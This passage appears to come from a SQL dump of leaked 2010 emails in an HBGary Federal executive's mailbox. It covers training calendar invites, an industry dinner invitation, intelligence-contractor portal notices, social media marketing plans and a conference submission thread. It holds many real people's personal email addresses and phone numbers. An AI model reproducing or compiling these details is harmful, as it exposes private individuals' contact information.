details &raquo;Social Media Training - Half DayWhenTue Sep 21 10am – 2pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;ted@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;mark@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',8766,'aaron_hbgary_com/8766.html'),(10354,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008076.M123881P14101Q5209.eml','aaron@hbgary.com,mark@hbgary.com','Invitation: Social Media Training - Half Day @ Thu Oct 7 10am - 2pm (aaron@hbgary.com)',' more details &raquo;Social Media Training - Half DayWhenThu Oct 7 10am – 2pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;ted@hbgary.com - organizer&#x2022;Aaron Barr&#x2022;mark@hbgary.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16470,'aaron_hbgary_com/16470.html'),(10355,'2010-08-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008076.M607325P14101Q5210.eml','aaron@hbgary.com,mark@hbgary.com','Invitation: Social Media Training - Full Day @ Tue Oct 26 10am - 6pm (aaron@hbgary.com)',' more details &raquo;Social Media Training - Full DayWhenTue Oct 26 10am – 6pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;ted@hbgary.com - organizer&#x2022;mark@hbgary.com&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3259,'aaron_hbgary_com/3259.html'),(10356,'2010-08-16','\"richcoleman1\" <richcoleman1@gmail.com>','/aaron@hbgary.com/new/1297008077.M347464P14101Q5212.eml','\"richcoleman1\" <richcoleman1@gmail.com>','Invitation to Cyber Fajitas with Vice Admiral (Ret) Mike McConnell, The Monocle, Wednesday, September 8, 6:00-8:00pm','\r\n\r\n\r\n\r\n\r\n\r\nDear Cyber Security \r\nColleague:&nbsp; \r\n&nbsp;\r\nPlease join us for the next Cyber Fajitas &amp; Margaritas dinner \r\non Wednesday, September 8, 6pm - \r\n8pm.\r\n&nbsp;\r\nOur \r\nspeaker will be Vice Admiral (Ret) Mike McConnell, Executive Vice President of \r\nBooz Allen Hamilton, former Director National Intelligence and former Director, \r\nNational Security Agency.\r\nThe&nbsp;event is being held at THE \r\nMONOCLE (not our traditional fajitas restaurant), 107 D Street, NE, Washington, \r\nDC 202-5456-4488 (on the Senate side, just opposite Russell Senate Office \r\nBuilding, nearest Metro stop is Union Station).&nbsp; This will be a no sponsor \r\ndinner and price is $50 for dinner and iced tea / lemonade.&nbsp; Cash bar. Please RSVP no later \r\nthan Wednesday, September 1, seats are limited.Best regards,Rich \r\nColemanChairman\r\nCyber Fajitas &amp; MargaritasEmail:&nbsp; \r\nrichcoleman1@gmail.comPhone:&nbsp; \r\n703-855-3917\r\n&nbsp;\r\n&nbsp;\r\n',6391,'aaron_hbgary_com/6391.html'),(10357,'2010-08-16','\"Richard Coleman\" <richard.coleman1@comcast.net>','/aaron@hbgary.com/new/1297008077.M6254P14101Q5211.eml','\"richcoleman1\" <richcoleman1@gmail.com>','Invitation to Cyber Fajitas with Vice Admiral (Ret) Mike McConnell, The Monocle, Wednesday, September 8, 6:00-8:00pm','\r\n\r\n\r\n\r\n\r\n\r\nDear Cyber Security \r\nColleague:&nbsp; \r\n&nbsp;\r\nPlease join us for the next Cyber Fajitas &amp; Margaritas dinner \r\non Wednesday, September 8, 6pm - \r\n8pm.\r\n&nbsp;\r\nOur \r\nspeaker will be Vice Admiral (Ret) Mike McConnell, Executive Vice President of \r\nBooz Allen Hamilton, former Director National Intelligence and former Director, \r\nNational Security Agency.\r\nThe&nbsp;event is being held at THE \r\nMONOCLE (not our traditional fajitas restaurant), 107 D Street, NE, Washington, \r\nDC 202-5456-4488 (on the Senate side, just opposite Russell Senate Office \r\nBuilding, nearest Metro stop is Union Station).&nbsp; This will be a no sponsor \r\ndinner and price is $50 for dinner and iced tea / lemonade.&nbsp; Cash bar. Please RSVP no later \r\nthan Wednesday, September 1, seats are limited.Best regards,Rich \r\nColemanChairman\r\nCyber Fajitas &amp; MargaritasEmail:&nbsp; \r\nrichcoleman1@gmail.comPhone:&nbsp; \r\n703-855-3917\r\n&nbsp;\r\n&nbsp;\r\n',10555,'aaron_hbgary_com/10555.html'),(10358,'2010-08-16','arc@westfields.net','/aaron@hbgary.com/new/1297008077.M859451P14101Q5213.eml','federal@hbgary.com','CAPRICA Announcement Posting','\r\nAn announcement has been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',5707,'aaron_hbgary_com/5707.html'),(10359,'2010-08-16','arc@westfields.net','/aaron@hbgary.com/new/1297008078.M554800P14101Q5214.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 08/13/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-ESMARTS (Announcement & Document Posting)\r\n\r\nNRO/COMM-Expedition (Announcement & Document Posting)\r\n\r\nNRO/COMM-Roubaix (Announcement & Document Posting)\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11190,'aaron_hbgary_com/11190.html'),(10360,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008078.M817708P14101Q5215.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>,','HBGaryFed Pages','Ok guys,\r\n\r\nHBGaryFed twitter account is established as well as HBGary Federal Facebook page with scheduled training, topics, etc.\r\n\r\nSome thoughts on what we can do using social media to help drive contacts and PR.\r\n\r\nTed make sure to put our twitter account and HBGary Federal facebook page along with HBGaryFederal.com website on the standup your going to have at the booth.  We need to do something to encourage folks to follow us on twitter or friend our HBGary Federal facebook page.  Maybe a giveaway of some sort.  A winner will be selected from the facebook and twitter followers.  You can sign up for both to have double the chance of winning?  If we want to make it fund we could use Foursquare, facebook, twitter, and the texting service you signed up for to create a pretty cool scavanger hunt, could even be social engineering related. Either way I could put a little bit of work into it and created it if you want, otherwise just stick with the giveaway.  I will pay for an iPod or something if you want to pick one up.  Forget the whole business card thing.  Social media allows us to maintain a constant connection and info dissemination platform.\r\n\r\nAs soon as you get to GFIRST create a location called GFIRST and one called HBGary in foursquare and then I will take ownership of it and associate it with our other accounts.  I tried to create the spot remotely but the marriott address isn\'t recognized so could mark the location.\r\n\r\nGive me a call so we can discuss.  For the next conference I think we can do a bit better pre-planning and do some pretty cool things that will get attention.  Should have done this earlier but just busy.\r\n\r\nAaron',6646,'aaron_hbgary_com/6646.html'),(10361,'2010-08-16','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297008079.M171374P14101Q5216.eml','aaron@hbgary.com','Re: Fwd: GovSec Call for Presentations Closes Monday','Hi Aaron, Just wanted to check back to see if you would like to submit to GovSec below. Today is the deadline. If not, I\'ll submit Rich.&nbsp;Thanks, Karen&nbsp;--- On Fri, 8/13/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Fwd: GovSec Call for Presentations Closes MondayTo: aaron@hbgary.comDate: Friday, August 13, 2010, 12:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I thought this conference might be a good fit for you. Are you interested in submitting a CFP? Deadline is tight -&gt; closes on Monday.&nbsp;Thanks, Karen\r\n--- On Fri, 8/13/10, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;Subject: Fwd: GovSec Call for Presentations Closes MondayTo: \"Rich Cummings\" &lt;rich@hbgary.com&gt;Cc: \"Penny C. Hoglund\" &lt;penny@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Friday, August 13, 2010, 12:29 PM\r\n\r\nThere is a call for speakers that closes Monday\r\n&nbsp;\r\nDid we want to participate?\r\n---------- Forwarded message ----------From: Don Berey &lt;GovSec@1105info.com&gt;Date: Fri, Aug 13, 2010 at 11:01 AMSubject: GovSec Call for Presentations Closes MondayTo: \"maria@hbgary.com\" &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre you a homeland security or cybersecurity professional with a lesson to share?&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n•GovSec, featuring GovCyber and U.S. Law, is the only government security event that combines physical security, cybersecurity and law enforcement to address the safety of our nation and its critical infrastructure. \r\nGovernment professionals are needed to deliver thought-provoking sessions in the conference program. Becoming a part of the conference faculty is a great way to earn industry recognition and training at no cost - speakers receive a complimentary conference pass to GovSec, valid all three days of the event.\r\nTrain your professional peers about today\'s most pressing government security&nbsp;threats.\r\nSessions should fit within one of the following tracks:\r\n\r\n\r\nCritical Infrastructure Protection: Critical infrastructure and key resources, in public and private sectors, must develop resiliency to various risks in order to continue operating safely and uninterrupted. This track examines the threats posed to our nation’s critical infrastructure and how to best secure these resources.\r\n\r\nAttacks and Emergencies: Preparedness, Prevention and Response: Whether natural or manmade, threats to our government, communities and citizens are ever present. Failure to maintain adequate levels of preparedness could have devastating effects in the wake of an emergency. This track presents training that develop skills to better identify and respond to various crises. \r\n\r\nProtecting from Advanced Persistent Threats (APT): APT is a growing cybersecurity threat targeting our critical U.S. infrastructure. Whether coming from foreign governments, organized crime or terrorist organizations, these cyber attacks are only going to increase in intensity.&nbsp;No single technology or process will stop these attacks; new approaches and increased vigilance are required. These sessions will provide the technologies and strategies to prevent, detect and react to this type of national security challenge. \r\n\r\nCybersecurity: Strategies and Best Practices: Protecting agencies and critical infrastructure from cyber attacks requires managing policies, technologies, resources and the implementation of security practices throughout an organization. &nbsp;These sessions will address how an agency can successfully protect against threats, the resources available within and outside government and the experience of your colleagues who have successfully addressed this top national and economic security priority.&nbsp;\r\n\r\n\r\n\r\n\r\nThe Call for Submissions closes on August 16. Click here to submit your proposal or topic recommendation! &nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease do not reply to this email.For exhibitor and sponsor inquires, contact Don Berey.&nbsp;\r\n\r\nThis message has been sent to: maria@hbgary.com As an Gov Sec registrant we\'ll periodically send you information via e-mail about event registration. If you wish to discontinue receiving these types of e-mails, use our preference page: https://preference.1105pubs.com/pref/opt.jsp?e=maria@hbgary.com&amp;l=0&amp;p=707&amp;o=D20251 To view our privacy policy, visit: http://www.1105media.com/privacy.html The Government Information Group is a division of 1105 Media, 3141 Fairview Park Drive, Suite 777, Falls Church, VA 22042 We welcome your\r\n feedback: Event_info@1105govinfo.com  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com &nbsp;&nbsp;\r\n\r\n',4404,'aaron_hbgary_com/4404.html'),(10362,'2010-08-16','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008079.M555489P14101Q5217.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','GFIRST FGet Announcement for Wedn. Aug. 18th','Hi Ted and Aaron, I wanted to let you know that I am working to secure media briefings for Greg to promote our new freeware tool, FGet, which will be released on Wedn. August 18th. We will be distributing a limited number of copies of the tool on CD at HBGary GFIRST booth -- similar to what we did with Fingerprint.  Do you have the booth # for HBGary at the conference? If so, please send. Thanks, Karen \r\n',9764,'aaron_hbgary_com/9764.html'),(10363,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008079.M931572P14101Q5218.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','VPN and Website Access','Hey Mark,\r\n\r\nCan I get VPN and website access?\r\n\r\nAaron',13378,'aaron_hbgary_com/13378.html'),(10364,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008080.M465902P14101Q5219.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','VPN and Website Access','Hey Mark,\r\n\r\nCan I get VPN and website access?\r\n\r\nAaron',4736,'aaron_hbgary_com/4736.html'),(10365,'2010-08-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008081.M316365P14101Q5221.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: GovSec Call for Presentations Closes Monday','OK I submitted an abstract on social media exploitation. &nbsp;Still might want Rich to do one on APT from the malware perspective.AaronOn Aug 16, 2010, at 9:32 AM, Karen Burke wrote:Hi Aaron, Just wanted to check back to see if you would like to submit to GovSec below. Today is the deadline. If not, I\'ll submit Rich.&nbsp;Thanks, Karen&nbsp;--- On Fri, 8/13/10, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Fwd: GovSec Call for Presentations Closes MondayTo: aaron@hbgary.comDate: Friday, August 13, 2010, 12:41 PM\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I thought this conference might be a good fit for you. Are you interested in submitting a CFP? Deadline is tight -&gt; closes on Monday.&nbsp;Thanks, Karen\r\n--- On Fri, 8/13/10, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt;Subject: Fwd: GovSec Call for Presentations Closes MondayTo: \"Rich Cummings\" 